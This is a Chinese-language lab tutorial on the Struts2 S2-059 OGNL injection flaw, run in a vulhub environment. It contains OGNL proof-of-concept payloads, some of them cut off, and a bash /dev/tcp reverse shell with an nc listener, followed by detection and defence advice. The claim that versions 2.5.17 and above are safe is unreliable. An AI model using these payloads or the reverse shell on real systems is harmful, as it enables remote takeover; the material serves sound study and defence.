一、漏洞概述
1. 漏洞描述
Struts2 是 Apache 推出的基于 MVC 模式的轻量级 Web 框架,在处理标签属性(如
id)值时,会将用户可控参数直接作为OGNL 表达式解析。攻击者可构造恶意 OGNL 表达式注入标签属性,框架解析时执行表达式中的恶意代码,导致远程代码执行(RCE)。2. OGNL 表达式基础
- 定义:Object-Graph Navigation Language(对象导航图语言),支持存取对象属性、调用方法、遍历对象结构及类型转换,功能强大但风险较高。
- 风险示例:在 Struts2 标签中,OGNL 可直接调用 Java 方法,如:
上述代码会直接执行本地计算器程序。若用户输入被直接拼接到 OGNL 表达式中,攻击者可注入恶意命令。
1
2<code class="language-html"><s:property value="@java.lang.Runtime@getRuntime().exec('calc')" />
</code>
二、环境搭建与漏洞验证
1. 环境搭建
使用 vulhub 靶场快速部署漏洞环境:
1 | <code class="language-bash">cd vulhub/struts2/s2-059 |
2. 漏洞验证
访问
http://靶机IP:8080/?id=%25{4*5}(%25是%的 URL 编码):- 若页面返回计算结果 “20”,证明 OGNL 表达式被解析,漏洞存在。
三、漏洞利用流程
1. 利用前提
需分两步执行:
- POC1:绕过 Struts2 的安全限制(如危险类 / 方法黑名单);
- POC2:执行恶意命令(如反弹 Shell)。
2. 详细攻击步骤
(1)反弹 Shell 准备
-
攻击机监听端口:
1
2<code class="language-bash">nc -lvvp 6666 # 等待靶机连接
</code> -
构造反弹 Shell 命令并 Base64 编码(避免特殊字符干扰):
1
2
3
4
5
6<code class="language-bash"># 原始命令(反弹到攻击机6666端口)
bash -i >& /dev/tcp/192.168.226.141/6666 0>&1
# Base64编码后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
</code>
(2)POC1:绕过安全限制
构造解除危险类限制的 OGNL 表达式:
1 | <code class="language-plaintext">%{(#context=#attr['struts.valueStack'].context). |
URL 编码后(便于通过 URL 参数传输):
1 | <code class="language-plaintext">%25%7b(%23context%3d%23attr%5b%27struts.valueStack%27%5d.context). |

(3)POC2:执行恶意命令
构造执行反弹 Shell 的 OGNL 表达式:
1 | <code class="language-plaintext">%{(#context=#attr['struts.valueStack'].context). |
URL 编码后:
1 | <code class="language-plaintext">%25%7b(%23context%3d%23attr%5b%27struts.valueStack%27%5d.context). |

(4)执行攻击
- 访问
http://靶机IP:8080/?id=POC1_URL编码后,执行 POC1 解除限制; - 访问
http://靶机IP:8080/?id=POC2_URL编码后,执行 POC2 触发反弹 Shell; - 攻击机
nc会话接收靶机反弹的 Shell,执行pwd等命令验证权限:
四、漏洞核心原理
- OGNL 解析缺陷:Struts2 将标签属性(如
id)的用户输入直接作为 OGNL 表达式解析,未过滤恶意内容; - 安全限制绕过:
POC1 通过获取框架上下文对象(context、container),修改OgnlUtil的excludedClasses和excludedPackageNames为空,解除对Runtime等危险类的限制; - 命令执行链:
POC2 利用@java.lang.Runtime@getRuntime().exec()调用系统命令,结合反弹 Shell 实现远程控制。
五、漏洞识别方法
- 表达式验证:
向参数(如id、name)传入简单 OGNL 表达式(如%{4*5}或 URL 编码后的%25{4*5}),若返回计算结果,说明存在 OGNL 解析漏洞; - 错误信息分析:
构造畸形 OGNL 表达式(如%{invalid}),若响应中出现ognl.OgnlException等错误,表明框架正在解析 OGNL 表达式; - 版本核查:
确认目标 Struts2 版本,若为 2.5.16 及以下,结合上述特征可判断存在风险; - 工具扫描:
使用 Burp Suite 的 Struts2 插件、Nessus 等工具,自动检测是否存在 S2-059 等远程代码执行漏洞。
六、防御措施
- 版本升级:升级至 Struts2 2.5.17 及以上安全版本,官方已修复 OGNL 解析漏洞;
- 禁用静态方法调用:在
struts.xml中配置:1
2<code class="language-xml"><constant name="struts.ognl.allowStaticMethodAccess" value="false" />
</code> - 输入过滤:
- 严格校验用户输入的标签属性值,过滤 OGNL 特殊字符(如
%{、@、#等); - 部署 WAF 拦截含恶意 OGNL 表达式的请求(如检测
@java.lang.Runtime@等特征);
- 严格校验用户输入的标签属性值,过滤 OGNL 特殊字符(如
- 安全模式配置:启用 Struts2 安全模式,通过白名单限制允许执行的 OGNL 表达式范围;
- 日志监控:记录 OGNL 表达式解析日志,监控异常调用(如
exec、Runtime等关键字)。

